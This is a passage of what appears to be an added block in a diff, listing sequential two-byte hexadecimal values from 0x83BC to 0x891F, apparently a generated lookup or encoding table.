0x83, 0xBC, 0x83, 0xBD, 0x83, 0xBE, 0x83, 0xBF, + 0x83, 0xC0, 0x83, 0xC1, 0x83, 0xC2, 0x83, 0xC3, + 0x83, 0xC4, 0x83, 0xC5, 0x83, 0xC6, 0x83, 0xC7, + 0x83, 0xC8, 0x83, 0xC9, 0x83, 0xCA, 0x83, 0xCB, + 0x83, 0xCC, 0x83, 0xCD, 0x83, 0xCE, 0x83, 0xCF, + 0x83, 0xD0, 0x83, 0xD1, 0x83, 0xD2, 0x83, 0xD3, + 0x83, 0xD4, 0x83, 0xD5, 0x83, 0xD6, 0x83, 0xD7, + 0x83, 0xD8, 0x83, 0xD9, 0x83, 0xDA, 0x83, 0xDB, + 0x83, 0xDC, 0x83, 0xDD, 0x83, 0xDE, 0x83, 0xDF, + 0x83, 0xE0, 0x83, 0xE1, 0x83, 0xE2, 0x83, 0xE3, + 0x83, 0xE4, 0x83, 0xE5, 0x83, 0xE6, 0x83, 0xE7, + 0x83, 0xE8, 0x83, 0xE9, 0x83, 0xEA, 0x83, 0xEB, + 0x83, 0xEC, 0x83, 0xED, 0x83, 0xEE, 0x83, 0xEF, + 0x83, 0xF0, 0x83, 0xF1, 0x83, 0xF2, 0x83, 0xF3, + 0x83, 0xF4, 0x83, 0xF5, 0x83, 0xF6, 0x83, 0xF7, + 0x83, 0xF8, 0x83, 0xF9, 0x83, 0xFA, 0x83, 0xFB, + 0x83, 0xFC, 0x83, 0xFD, 0x83, 0xFE, 0x83, 0xFF, + 0x84, 0x00, 0x84, 0x01, 0x84, 0x02, 0x84, 0x03, + 0x84, 0x04, 0x84, 0x05, 0x84, 0x06, 0x84, 0x07, + 0x84, 0x08, 0x84, 0x09, 0x84, 0x0A, 0x84, 0x0B, + 0x84, 0x0C, 0x84, 0x0D, 0x84, 0x0E, 0x84, 0x0F, + 0x84, 0x10, 0x84, 0x11, 0x84, 0x12, 0x84, 0x13, + 0x84, 0x14, 0x84, 0x15, 0x84, 0x16, 0x84, 0x17, + 0x84, 0x18, 0x84, 0x19, 0x84, 0x1A, 0x84, 0x1B, + 0x84, 0x1C, 0x84, 0x1D, 0x84, 0x1E, 0x84, 0x1F, + 0x84, 0x20, 0x84, 0x21, 0x84, 0x22, 0x84, 0x23, + 0x84, 0x24, 0x84, 0x25, 0x84, 0x26, 0x84, 0x27, + 0x84, 0x28, 0x84, 0x29, 0x84, 0x2A, 0x84, 0x2B, + 0x84, 0x2C, 0x84, 0x2D, 0x84, 0x2E, 0x84, 0x2F, + 0x84, 0x30, 0x84, 0x31, 0x84, 0x32, 0x84, 0x33, + 0x84, 0x34, 0x84, 0x35, 0x84, 0x36, 0x84, 0x37, + 0x84, 0x38, 0x84, 0x39, 0x84, 0x3A, 0x84, 0x3B, + 0x84, 0x3C, 0x84, 0x3D, 0x84, 0x3E, 0x84, 0x3F, + 0x84, 0x40, 0x84, 0x41, 0x84, 0x42, 0x84, 0x43, + 0x84, 0x44, 0x84, 0x45, 0x84, 0x46, 0x84, 0x47, + 0x84, 0x48, 0x84, 0x49, 0x84, 0x4A, 0x84, 0x4B, + 0x84, 0x4C, 0x84, 0x4D, 0x84, 0x4E, 0x84, 0x4F, + 0x84, 0x50, 0x84, 0x51, 0x84, 0x52, 0x84, 0x53, + 0x84, 0x54, 0x84, 0x55, 0x84, 0x56, 0x84, 0x57, + 0x84, 0x58, 0x84, 0x59, 0x84, 0x5A, 0x84, 0x5B, + 0x84, 0x5C, 0x84, 0x5D, 0x84, 0x5E, 0x84, 0x5F, + 0x84, 0x60, 0x84, 0x61, 0x84, 0x62, 0x84, 0x63, + 0x84, 0x64, 0x84, 0x65, 0x84, 0x66, 0x84, 0x67, + 0x84, 0x68, 0x84, 0x69, 0x84, 0x6A, 0x84, 0x6B, + 0x84, 0x6C, 0x84, 0x6D, 0x84, 0x6E, 0x84, 0x6F, + 0x84, 0x70, 0x84, 0x71, 0x84, 0x72, 0x84, 0x73, + 0x84, 0x74, 0x84, 0x75, 0x84, 0x76, 0x84, 0x77, + 0x84, 0x78, 0x84, 0x79, 0x84, 0x7A, 0x84, 0x7B, + 0x84, 0x7C, 0x84, 0x7D, 0x84, 0x7E, 0x84, 0x7F, + 0x84, 0x80, 0x84, 0x81, 0x84, 0x82, 0x84, 0x83, + 0x84, 0x84, 0x84, 0x85, 0x84, 0x86, 0x84, 0x87, + 0x84, 0x88, 0x84, 0x89, 0x84, 0x8A, 0x84, 0x8B, + 0x84, 0x8C, 0x84, 0x8D, 0x84, 0x8E, 0x84, 0x8F, + 0x84, 0x90, 0x84, 0x91, 0x84, 0x92, 0x84, 0x93, + 0x84, 0x94, 0x84, 0x95, 0x84, 0x96, 0x84, 0x97, + 0x84, 0x98, 0x84, 0x99, 0x84, 0x9A, 0x84, 0x9B, + 0x84, 0x9C, 0x84, 0x9D, 0x84, 0x9E, 0x84, 0x9F, + 0x84, 0xA0, 0x84, 0xA1, 0x84, 0xA2, 0x84, 0xA3, + 0x84, 0xA4, 0x84, 0xA5, 0x84, 0xA6, 0x84, 0xA7, + 0x84, 0xA8, 0x84, 0xA9, 0x84, 0xAA, 0x84, 0xAB, + 0x84, 0xAC, 0x84, 0xAD, 0x84, 0xAE, 0x84, 0xAF, + 0x84, 0xB0, 0x84, 0xB1, 0x84, 0xB2, 0x84, 0xB3, + 0x84, 0xB4, 0x84, 0xB5, 0x84, 0xB6, 0x84, 0xB7, + 0x84, 0xB8, 0x84, 0xB9, 0x84, 0xBA, 0x84, 0xBB, + 0x84, 0xBC, 0x84, 0xBD, 0x84, 0xBE, 0x84, 0xBF, + 0x84, 0xC0, 0x84, 0xC1, 0x84, 0xC2, 0x84, 0xC3, + 0x84, 0xC4, 0x84, 0xC5, 0x84, 0xC6, 0x84, 0xC7, + 0x84, 0xC8, 0x84, 0xC9, 0x84, 0xCA, 0x84, 0xCB, + 0x84, 0xCC, 0x84, 0xCD, 0x84, 0xCE, 0x84, 0xCF, + 0x84, 0xD0, 0x84, 0xD1, 0x84, 0xD2, 0x84, 0xD3, + 0x84, 0xD4, 0x84, 0xD5, 0x84, 0xD6, 0x84, 0xD7, + 0x84, 0xD8, 0x84, 0xD9, 0x84, 0xDA, 0x84, 0xDB, + 0x84, 0xDC, 0x84, 0xDD, 0x84, 0xDE, 0x84, 0xDF, + 0x84, 0xE0, 0x84, 0xE1, 0x84, 0xE2, 0x84, 0xE3, + 0x84, 0xE4, 0x84, 0xE5, 0x84, 0xE6, 0x84, 0xE7, + 0x84, 0xE8, 0x84, 0xE9, 0x84, 0xEA, 0x84, 0xEB, + 0x84, 0xEC, 0x84, 0xED, 0x84, 0xEE, 0x84, 0xEF, + 0x84, 0xF0, 0x84, 0xF1, 0x84, 0xF2, 0x84, 0xF3, + 0x84, 0xF4, 0x84, 0xF5, 0x84, 0xF6, 0x84, 0xF7, + 0x84, 0xF8, 0x84, 0xF9, 0x84, 0xFA, 0x84, 0xFB, + 0x84, 0xFC, 0x84, 0xFD, 0x84, 0xFE, 0x84, 0xFF, + 0x85, 0x00, 0x85, 0x01, 0x85, 0x02, 0x85, 0x03, + 0x85, 0x04, 0x85, 0x05, 0x85, 0x06, 0x85, 0x07, + 0x85, 0x08, 0x85, 0x09, 0x85, 0x0A, 0x85, 0x0B, + 0x85, 0x0C, 0x85, 0x0D, 0x85, 0x0E, 0x85, 0x0F, + 0x85, 0x10, 0x85, 0x11, 0x85, 0x12, 0x85, 0x13, + 0x85, 0x14, 0x85, 0x15, 0x85, 0x16, 0x85, 0x17, + 0x85, 0x18, 0x85, 0x19, 0x85, 0x1A, 0x85, 0x1B, + 0x85, 0x1C, 0x85, 0x1D, 0x85, 0x1E, 0x85, 0x1F, + 0x85, 0x20, 0x85, 0x21, 0x85, 0x22, 0x85, 0x23, + 0x85, 0x24, 0x85, 0x25, 0x85, 0x26, 0x85, 0x27, + 0x85, 0x28, 0x85, 0x29, 0x85, 0x2A, 0x85, 0x2B, + 0x85, 0x2C, 0x85, 0x2D, 0x85, 0x2E, 0x85, 0x2F, + 0x85, 0x30, 0x85, 0x31, 0x85, 0x32, 0x85, 0x33, + 0x85, 0x34, 0x85, 0x35, 0x85, 0x36, 0x85, 0x37, + 0x85, 0x38, 0x85, 0x39, 0x85, 0x3A, 0x85, 0x3B, + 0x85, 0x3C, 0x85, 0x3D, 0x85, 0x3E, 0x85, 0x3F, + 0x85, 0x40, 0x85, 0x41, 0x85, 0x42, 0x85, 0x43, + 0x85, 0x44, 0x85, 0x45, 0x85, 0x46, 0x85, 0x47, + 0x85, 0x48, 0x85, 0x49, 0x85, 0x4A, 0x85, 0x4B, + 0x85, 0x4C, 0x85, 0x4D, 0x85, 0x4E, 0x85, 0x4F, + 0x85, 0x50, 0x85, 0x51, 0x85, 0x52, 0x85, 0x53, + 0x85, 0x54, 0x85, 0x55, 0x85, 0x56, 0x85, 0x57, + 0x85, 0x58, 0x85, 0x59, 0x85, 0x5A, 0x85, 0x5B, + 0x85, 0x5C, 0x85, 0x5D, 0x85, 0x5E, 0x85, 0x5F, + 0x85, 0x60, 0x85, 0x61, 0x85, 0x62, 0x85, 0x63, + 0x85, 0x64, 0x85, 0x65, 0x85, 0x66, 0x85, 0x67, + 0x85, 0x68, 0x85, 0x69, 0x85, 0x6A, 0x85, 0x6B, + 0x85, 0x6C, 0x85, 0x6D, 0x85, 0x6E, 0x85, 0x6F, + 0x85, 0x70, 0x85, 0x71, 0x85, 0x72, 0x85, 0x73, + 0x85, 0x74, 0x85, 0x75, 0x85, 0x76, 0x85, 0x77, + 0x85, 0x78, 0x85, 0x79, 0x85, 0x7A, 0x85, 0x7B, + 0x85, 0x7C, 0x85, 0x7D, 0x85, 0x7E, 0x85, 0x7F, + 0x85, 0x80, 0x85, 0x81, 0x85, 0x82, 0x85, 0x83, + 0x85, 0x84, 0x85, 0x85, 0x85, 0x86, 0x85, 0x87, + 0x85, 0x88, 0x85, 0x89, 0x85, 0x8A, 0x85, 0x8B, + 0x85, 0x8C, 0x85, 0x8D, 0x85, 0x8E, 0x85, 0x8F, + 0x85, 0x90, 0x85, 0x91, 0x85, 0x92, 0x85, 0x93, + 0x85, 0x94, 0x85, 0x95, 0x85, 0x96, 0x85, 0x97, + 0x85, 0x98, 0x85, 0x99, 0x85, 0x9A, 0x85, 0x9B, + 0x85, 0x9C, 0x85, 0x9D, 0x85, 0x9E, 0x85, 0x9F, + 0x85, 0xA0, 0x85, 0xA1, 0x85, 0xA2, 0x85, 0xA3, + 0x85, 0xA4, 0x85, 0xA5, 0x85, 0xA6, 0x85, 0xA7, + 0x85, 0xA8, 0x85, 0xA9, 0x85, 0xAA, 0x85, 0xAB, + 0x85, 0xAC, 0x85, 0xAD, 0x85, 0xAE, 0x85, 0xAF, + 0x85, 0xB0, 0x85, 0xB1, 0x85, 0xB2, 0x85, 0xB3, + 0x85, 0xB4, 0x85, 0xB5, 0x85, 0xB6, 0x85, 0xB7, + 0x85, 0xB8, 0x85, 0xB9, 0x85, 0xBA, 0x85, 0xBB, + 0x85, 0xBC, 0x85, 0xBD, 0x85, 0xBE, 0x85, 0xBF, + 0x85, 0xC0, 0x85, 0xC1, 0x85, 0xC2, 0x85, 0xC3, + 0x85, 0xC4, 0x85, 0xC5, 0x85, 0xC6, 0x85, 0xC7, + 0x85, 0xC8, 0x85, 0xC9, 0x85, 0xCA, 0x85, 0xCB, + 0x85, 0xCC, 0x85, 0xCD, 0x85, 0xCE, 0x85, 0xCF, + 0x85, 0xD0, 0x85, 0xD1, 0x85, 0xD2, 0x85, 0xD3, + 0x85, 0xD4, 0x85, 0xD5, 0x85, 0xD6, 0x85, 0xD7, + 0x85, 0xD8, 0x85, 0xD9, 0x85, 0xDA, 0x85, 0xDB, + 0x85, 0xDC, 0x85, 0xDD, 0x85, 0xDE, 0x85, 0xDF, + 0x85, 0xE0, 0x85, 0xE1, 0x85, 0xE2, 0x85, 0xE3, + 0x85, 0xE4, 0x85, 0xE5, 0x85, 0xE6, 0x85, 0xE7, + 0x85, 0xE8, 0x85, 0xE9, 0x85, 0xEA, 0x85, 0xEB, + 0x85, 0xEC, 0x85, 0xED, 0x85, 0xEE, 0x85, 0xEF, + 0x85, 0xF0, 0x85, 0xF1, 0x85, 0xF2, 0x85, 0xF3, + 0x85, 0xF4, 0x85, 0xF5, 0x85, 0xF6, 0x85, 0xF7, + 0x85, 0xF8, 0x85, 0xF9, 0x85, 0xFA, 0x85, 0xFB, + 0x85, 0xFC, 0x85, 0xFD, 0x85, 0xFE, 0x85, 0xFF, + 0x86, 0x00, 0x86, 0x01, 0x86, 0x02, 0x86, 0x03, + 0x86, 0x04, 0x86, 0x05, 0x86, 0x06, 0x86, 0x07, + 0x86, 0x08, 0x86, 0x09, 0x86, 0x0A, 0x86, 0x0B, + 0x86, 0x0C, 0x86, 0x0D, 0x86, 0x0E, 0x86, 0x0F, + 0x86, 0x10, 0x86, 0x11, 0x86, 0x12, 0x86, 0x13, + 0x86, 0x14, 0x86, 0x15, 0x86, 0x16, 0x86, 0x17, + 0x86, 0x18, 0x86, 0x19, 0x86, 0x1A, 0x86, 0x1B, + 0x86, 0x1C, 0x86, 0x1D, 0x86, 0x1E, 0x86, 0x1F, + 0x86, 0x20, 0x86, 0x21, 0x86, 0x22, 0x86, 0x23, + 0x86, 0x24, 0x86, 0x25, 0x86, 0x26, 0x86, 0x27, + 0x86, 0x28, 0x86, 0x29, 0x86, 0x2A, 0x86, 0x2B, + 0x86, 0x2C, 0x86, 0x2D, 0x86, 0x2E, 0x86, 0x2F, + 0x86, 0x30, 0x86, 0x31, 0x86, 0x32, 0x86, 0x33, + 0x86, 0x34, 0x86, 0x35, 0x86, 0x36, 0x86, 0x37, + 0x86, 0x38, 0x86, 0x39, 0x86, 0x3A, 0x86, 0x3B, + 0x86, 0x3C, 0x86, 0x3D, 0x86, 0x3E, 0x86, 0x3F, + 0x86, 0x40, 0x86, 0x41, 0x86, 0x42, 0x86, 0x43, + 0x86, 0x44, 0x86, 0x45, 0x86, 0x46, 0x86, 0x47, + 0x86, 0x48, 0x86, 0x49, 0x86, 0x4A, 0x86, 0x4B, + 0x86, 0x4C, 0x86, 0x4D, 0x86, 0x4E, 0x86, 0x4F, + 0x86, 0x50, 0x86, 0x51, 0x86, 0x52, 0x86, 0x53, + 0x86, 0x54, 0x86, 0x55, 0x86, 0x56, 0x86, 0x57, + 0x86, 0x58, 0x86, 0x59, 0x86, 0x5A, 0x86, 0x5B, + 0x86, 0x5C, 0x86, 0x5D, 0x86, 0x5E, 0x86, 0x5F, + 0x86, 0x60, 0x86, 0x61, 0x86, 0x62, 0x86, 0x63, + 0x86, 0x64, 0x86, 0x65, 0x86, 0x66, 0x86, 0x67, + 0x86, 0x68, 0x86, 0x69, 0x86, 0x6A, 0x86, 0x6B, + 0x86, 0x6C, 0x86, 0x6D, 0x86, 0x6E, 0x86, 0x6F, + 0x86, 0x70, 0x86, 0x71, 0x86, 0x72, 0x86, 0x73, + 0x86, 0x74, 0x86, 0x75, 0x86, 0x76, 0x86, 0x77, + 0x86, 0x78, 0x86, 0x79, 0x86, 0x7A, 0x86, 0x7B, + 0x86, 0x7C, 0x86, 0x7D, 0x86, 0x7E, 0x86, 0x7F, + 0x86, 0x80, 0x86, 0x81, 0x86, 0x82, 0x86, 0x83, + 0x86, 0x84, 0x86, 0x85, 0x86, 0x86, 0x86, 0x87, + 0x86, 0x88, 0x86, 0x89, 0x86, 0x8A, 0x86, 0x8B, + 0x86, 0x8C, 0x86, 0x8D, 0x86, 0x8E, 0x86, 0x8F, + 0x86, 0x90, 0x86, 0x91, 0x86, 0x92, 0x86, 0x93, + 0x86, 0x94, 0x86, 0x95, 0x86, 0x96, 0x86, 0x97, + 0x86, 0x98, 0x86, 0x99, 0x86, 0x9A, 0x86, 0x9B, + 0x86, 0x9C, 0x86, 0x9D, 0x86, 0x9E, 0x86, 0x9F, + 0x86, 0xA0, 0x86, 0xA1, 0x86, 0xA2, 0x86, 0xA3, + 0x86, 0xA4, 0x86, 0xA5, 0x86, 0xA6, 0x86, 0xA7, + 0x86, 0xA8, 0x86, 0xA9, 0x86, 0xAA, 0x86, 0xAB, + 0x86, 0xAC, 0x86, 0xAD, 0x86, 0xAE, 0x86, 0xAF, + 0x86, 0xB0, 0x86, 0xB1, 0x86, 0xB2, 0x86, 0xB3, + 0x86, 0xB4, 0x86, 0xB5, 0x86, 0xB6, 0x86, 0xB7, + 0x86, 0xB8, 0x86, 0xB9, 0x86, 0xBA, 0x86, 0xBB, + 0x86, 0xBC, 0x86, 0xBD, 0x86, 0xBE, 0x86, 0xBF, + 0x86, 0xC0, 0x86, 0xC1, 0x86, 0xC2, 0x86, 0xC3, + 0x86, 0xC4, 0x86, 0xC5, 0x86, 0xC6, 0x86, 0xC7, + 0x86, 0xC8, 0x86, 0xC9, 0x86, 0xCA, 0x86, 0xCB, + 0x86, 0xCC, 0x86, 0xCD, 0x86, 0xCE, 0x86, 0xCF, + 0x86, 0xD0, 0x86, 0xD1, 0x86, 0xD2, 0x86, 0xD3, + 0x86, 0xD4, 0x86, 0xD5, 0x86, 0xD6, 0x86, 0xD7, + 0x86, 0xD8, 0x86, 0xD9, 0x86, 0xDA, 0x86, 0xDB, + 0x86, 0xDC, 0x86, 0xDD, 0x86, 0xDE, 0x86, 0xDF, + 0x86, 0xE0, 0x86, 0xE1, 0x86, 0xE2, 0x86, 0xE3, + 0x86, 0xE4, 0x86, 0xE5, 0x86, 0xE6, 0x86, 0xE7, + 0x86, 0xE8, 0x86, 0xE9, 0x86, 0xEA, 0x86, 0xEB, + 0x86, 0xEC, 0x86, 0xED, 0x86, 0xEE, 0x86, 0xEF, + 0x86, 0xF0, 0x86, 0xF1, 0x86, 0xF2, 0x86, 0xF3, + 0x86, 0xF4, 0x86, 0xF5, 0x86, 0xF6, 0x86, 0xF7, + 0x86, 0xF8, 0x86, 0xF9, 0x86, 0xFA, 0x86, 0xFB, + 0x86, 0xFC, 0x86, 0xFD, 0x86, 0xFE, 0x86, 0xFF, + 0x87, 0x00, 0x87, 0x01, 0x87, 0x02, 0x87, 0x03, + 0x87, 0x04, 0x87, 0x05, 0x87, 0x06, 0x87, 0x07, + 0x87, 0x08, 0x87, 0x09, 0x87, 0x0A, 0x87, 0x0B, + 0x87, 0x0C, 0x87, 0x0D, 0x87, 0x0E, 0x87, 0x0F, + 0x87, 0x10, 0x87, 0x11, 0x87, 0x12, 0x87, 0x13, + 0x87, 0x14, 0x87, 0x15, 0x87, 0x16, 0x87, 0x17, + 0x87, 0x18, 0x87, 0x19, 0x87, 0x1A, 0x87, 0x1B, + 0x87, 0x1C, 0x87, 0x1D, 0x87, 0x1E, 0x87, 0x1F, + 0x87, 0x20, 0x87, 0x21, 0x87, 0x22, 0x87, 0x23, + 0x87, 0x24, 0x87, 0x25, 0x87, 0x26, 0x87, 0x27, + 0x87, 0x28, 0x87, 0x29, 0x87, 0x2A, 0x87, 0x2B, + 0x87, 0x2C, 0x87, 0x2D, 0x87, 0x2E, 0x87, 0x2F, + 0x87, 0x30, 0x87, 0x31, 0x87, 0x32, 0x87, 0x33, + 0x87, 0x34, 0x87, 0x35, 0x87, 0x36, 0x87, 0x37, + 0x87, 0x38, 0x87, 0x39, 0x87, 0x3A, 0x87, 0x3B, + 0x87, 0x3C, 0x87, 0x3D, 0x87, 0x3E, 0x87, 0x3F, + 0x87, 0x40, 0x87, 0x41, 0x87, 0x42, 0x87, 0x43, + 0x87, 0x44, 0x87, 0x45, 0x87, 0x46, 0x87, 0x47, + 0x87, 0x48, 0x87, 0x49, 0x87, 0x4A, 0x87, 0x4B, + 0x87, 0x4C, 0x87, 0x4D, 0x87, 0x4E, 0x87, 0x4F, + 0x87, 0x50, 0x87, 0x51, 0x87, 0x52, 0x87, 0x53, + 0x87, 0x54, 0x87, 0x55, 0x87, 0x56, 0x87, 0x57, + 0x87, 0x58, 0x87, 0x59, 0x87, 0x5A, 0x87, 0x5B, + 0x87, 0x5C, 0x87, 0x5D, 0x87, 0x5E, 0x87, 0x5F, + 0x87, 0x60, 0x87, 0x61, 0x87, 0x62, 0x87, 0x63, + 0x87, 0x64, 0x87, 0x65, 0x87, 0x66, 0x87, 0x67, + 0x87, 0x68, 0x87, 0x69, 0x87, 0x6A, 0x87, 0x6B, + 0x87, 0x6C, 0x87, 0x6D, 0x87, 0x6E, 0x87, 0x6F, + 0x87, 0x70, 0x87, 0x71, 0x87, 0x72, 0x87, 0x73, + 0x87, 0x74, 0x87, 0x75, 0x87, 0x76, 0x87, 0x77, + 0x87, 0x78, 0x87, 0x79, 0x87, 0x7A, 0x87, 0x7B, + 0x87, 0x7C, 0x87, 0x7D, 0x87, 0x7E, 0x87, 0x7F, + 0x87, 0x80, 0x87, 0x81, 0x87, 0x82, 0x87, 0x83, + 0x87, 0x84, 0x87, 0x85, 0x87, 0x86, 0x87, 0x87, + 0x87, 0x88, 0x87, 0x89, 0x87, 0x8A, 0x87, 0x8B, + 0x87, 0x8C, 0x87, 0x8D, 0x87, 0x8E, 0x87, 0x8F, + 0x87, 0x90, 0x87, 0x91, 0x87, 0x92, 0x87, 0x93, + 0x87, 0x94, 0x87, 0x95, 0x87, 0x96, 0x87, 0x97, + 0x87, 0x98, 0x87, 0x99, 0x87, 0x9A, 0x87, 0x9B, + 0x87, 0x9C, 0x87, 0x9D, 0x87, 0x9E, 0x87, 0x9F, + 0x87, 0xA0, 0x87, 0xA1, 0x87, 0xA2, 0x87, 0xA3, + 0x87, 0xA4, 0x87, 0xA5, 0x87, 0xA6, 0x87, 0xA7, + 0x87, 0xA8, 0x87, 0xA9, 0x87, 0xAA, 0x87, 0xAB, + 0x87, 0xAC, 0x87, 0xAD, 0x87, 0xAE, 0x87, 0xAF, + 0x87, 0xB0, 0x87, 0xB1, 0x87, 0xB2, 0x87, 0xB3, + 0x87, 0xB4, 0x87, 0xB5, 0x87, 0xB6, 0x87, 0xB7, + 0x87, 0xB8, 0x87, 0xB9, 0x87, 0xBA, 0x87, 0xBB, + 0x87, 0xBC, 0x87, 0xBD, 0x87, 0xBE, 0x87, 0xBF, + 0x87, 0xC0, 0x87, 0xC1, 0x87, 0xC2, 0x87, 0xC3, + 0x87, 0xC4, 0x87, 0xC5, 0x87, 0xC6, 0x87, 0xC7, + 0x87, 0xC8, 0x87, 0xC9, 0x87, 0xCA, 0x87, 0xCB, + 0x87, 0xCC, 0x87, 0xCD, 0x87, 0xCE, 0x87, 0xCF, + 0x87, 0xD0, 0x87, 0xD1, 0x87, 0xD2, 0x87, 0xD3, + 0x87, 0xD4, 0x87, 0xD5, 0x87, 0xD6, 0x87, 0xD7, + 0x87, 0xD8, 0x87, 0xD9, 0x87, 0xDA, 0x87, 0xDB, + 0x87, 0xDC, 0x87, 0xDD, 0x87, 0xDE, 0x87, 0xDF, + 0x87, 0xE0, 0x87, 0xE1, 0x87, 0xE2, 0x87, 0xE3, + 0x87, 0xE4, 0x87, 0xE5, 0x87, 0xE6, 0x87, 0xE7, + 0x87, 0xE8, 0x87, 0xE9, 0x87, 0xEA, 0x87, 0xEB, + 0x87, 0xEC, 0x87, 0xED, 0x87, 0xEE, 0x87, 0xEF, + 0x87, 0xF0, 0x87, 0xF1, 0x87, 0xF2, 0x87, 0xF3, + 0x87, 0xF4, 0x87, 0xF5, 0x87, 0xF6, 0x87, 0xF7, + 0x87, 0xF8, 0x87, 0xF9, 0x87, 0xFA, 0x87, 0xFB, + 0x87, 0xFC, 0x87, 0xFD, 0x87, 0xFE, 0x87, 0xFF, + 0x88, 0x00, 0x88, 0x01, 0x88, 0x02, 0x88, 0x03, + 0x88, 0x04, 0x88, 0x05, 0x88, 0x06, 0x88, 0x07, + 0x88, 0x08, 0x88, 0x09, 0x88, 0x0A, 0x88, 0x0B, + 0x88, 0x0C, 0x88, 0x0D, 0x88, 0x0E, 0x88, 0x0F, + 0x88, 0x10, 0x88, 0x11, 0x88, 0x12, 0x88, 0x13, + 0x88, 0x14, 0x88, 0x15, 0x88, 0x16, 0x88, 0x17, + 0x88, 0x18, 0x88, 0x19, 0x88, 0x1A, 0x88, 0x1B, + 0x88, 0x1C, 0x88, 0x1D, 0x88, 0x1E, 0x88, 0x1F, + 0x88, 0x20, 0x88, 0x21, 0x88, 0x22, 0x88, 0x23, + 0x88, 0x24, 0x88, 0x25, 0x88, 0x26, 0x88, 0x27, + 0x88, 0x28, 0x88, 0x29, 0x88, 0x2A, 0x88, 0x2B, + 0x88, 0x2C, 0x88, 0x2D, 0x88, 0x2E, 0x88, 0x2F, + 0x88, 0x30, 0x88, 0x31, 0x88, 0x32, 0x88, 0x33, + 0x88, 0x34, 0x88, 0x35, 0x88, 0x36, 0x88, 0x37, + 0x88, 0x38, 0x88, 0x39, 0x88, 0x3A, 0x88, 0x3B, + 0x88, 0x3C, 0x88, 0x3D, 0x88, 0x3E, 0x88, 0x3F, + 0x88, 0x40, 0x88, 0x41, 0x88, 0x42, 0x88, 0x43, + 0x88, 0x44, 0x88, 0x45, 0x88, 0x46, 0x88, 0x47, + 0x88, 0x48, 0x88, 0x49, 0x88, 0x4A, 0x88, 0x4B, + 0x88, 0x4C, 0x88, 0x4D, 0x88, 0x4E, 0x88, 0x4F, + 0x88, 0x50, 0x88, 0x51, 0x88, 0x52, 0x88, 0x53, + 0x88, 0x54, 0x88, 0x55, 0x88, 0x56, 0x88, 0x57, + 0x88, 0x58, 0x88, 0x59, 0x88, 0x5A, 0x88, 0x5B, + 0x88, 0x5C, 0x88, 0x5D, 0x88, 0x5E, 0x88, 0x5F, + 0x88, 0x60, 0x88, 0x61, 0x88, 0x62, 0x88, 0x63, + 0x88, 0x64, 0x88, 0x65, 0x88, 0x66, 0x88, 0x67, + 0x88, 0x68, 0x88, 0x69, 0x88, 0x6A, 0x88, 0x6B, + 0x88, 0x6C, 0x88, 0x6D, 0x88, 0x6E, 0x88, 0x6F, + 0x88, 0x70, 0x88, 0x71, 0x88, 0x72, 0x88, 0x73, + 0x88, 0x74, 0x88, 0x75, 0x88, 0x76, 0x88, 0x77, + 0x88, 0x78, 0x88, 0x79, 0x88, 0x7A, 0x88, 0x7B, + 0x88, 0x7C, 0x88, 0x7D, 0x88, 0x7E, 0x88, 0x7F, + 0x88, 0x80, 0x88, 0x81, 0x88, 0x82, 0x88, 0x83, + 0x88, 0x84, 0x88, 0x85, 0x88, 0x86, 0x88, 0x87, + 0x88, 0x88, 0x88, 0x89, 0x88, 0x8A, 0x88, 0x8B, + 0x88, 0x8C, 0x88, 0x8D, 0x88, 0x8E, 0x88, 0x8F, + 0x88, 0x90, 0x88, 0x91, 0x88, 0x92, 0x88, 0x93, + 0x88, 0x94, 0x88, 0x95, 0x88, 0x96, 0x88, 0x97, + 0x88, 0x98, 0x88, 0x99, 0x88, 0x9A, 0x88, 0x9B, + 0x88, 0x9C, 0x88, 0x9D, 0x88, 0x9E, 0x88, 0x9F, + 0x88, 0xA0, 0x88, 0xA1, 0x88, 0xA2, 0x88, 0xA3, + 0x88, 0xA4, 0x88, 0xA5, 0x88, 0xA6, 0x88, 0xA7, + 0x88, 0xA8, 0x88, 0xA9, 0x88, 0xAA, 0x88, 0xAB, + 0x88, 0xAC, 0x88, 0xAD, 0x88, 0xAE, 0x88, 0xAF, + 0x88, 0xB0, 0x88, 0xB1, 0x88, 0xB2, 0x88, 0xB3, + 0x88, 0xB4, 0x88, 0xB5, 0x88, 0xB6, 0x88, 0xB7, + 0x88, 0xB8, 0x88, 0xB9, 0x88, 0xBA, 0x88, 0xBB, + 0x88, 0xBC, 0x88, 0xBD, 0x88, 0xBE, 0x88, 0xBF, + 0x88, 0xC0, 0x88, 0xC1, 0x88, 0xC2, 0x88, 0xC3, + 0x88, 0xC4, 0x88, 0xC5, 0x88, 0xC6, 0x88, 0xC7, + 0x88, 0xC8, 0x88, 0xC9, 0x88, 0xCA, 0x88, 0xCB, + 0x88, 0xCC, 0x88, 0xCD, 0x88, 0xCE, 0x88, 0xCF, + 0x88, 0xD0, 0x88, 0xD1, 0x88, 0xD2, 0x88, 0xD3, + 0x88, 0xD4, 0x88, 0xD5, 0x88, 0xD6, 0x88, 0xD7, + 0x88, 0xD8, 0x88, 0xD9, 0x88, 0xDA, 0x88, 0xDB, + 0x88, 0xDC, 0x88, 0xDD, 0x88, 0xDE, 0x88, 0xDF, + 0x88, 0xE0, 0x88, 0xE1, 0x88, 0xE2, 0x88, 0xE3, + 0x88, 0xE4, 0x88, 0xE5, 0x88, 0xE6, 0x88, 0xE7, + 0x88, 0xE8, 0x88, 0xE9, 0x88, 0xEA, 0x88, 0xEB, + 0x88, 0xEC, 0x88, 0xED, 0x88, 0xEE, 0x88, 0xEF, + 0x88, 0xF0, 0x88, 0xF1, 0x88, 0xF2, 0x88, 0xF3, + 0x88, 0xF4, 0x88, 0xF5, 0x88, 0xF6, 0x88, 0xF7, + 0x88, 0xF8, 0x88, 0xF9, 0x88, 0xFA, 0x88, 0xFB, + 0x88, 0xFC, 0x88, 0xFD, 0x88, 0xFE, 0x88, 0xFF, + 0x89, 0x00, 0x89, 0x01, 0x89, 0x02, 0x89, 0x03, + 0x89, 0x04, 0x89, 0x05, 0x89, 0x06, 0x89, 0x07, + 0x89, 0x08, 0x89, 0x09, 0x89, 0x0A, 0x89, 0x0B, + 0x89, 0x0C, 0x89, 0x0D, 0x89, 0x0E, 0x89, 0x0F, + 0x89, 0x10, 0x89, 0x11, 0x89, 0x12, 0x89, 0x13, + 0x89, 0x14, 0x89, 0x15, 0x89, 0x16, 0x89, 0x17, + 0x89, 0x18, 0x89, 0x19, 0x89, 0x1A, 0x89, 0x1B, + 0x89, 0x1C, 0x89, 0x1D, 0x89, 0x1E, 0x89, 0x1F, + 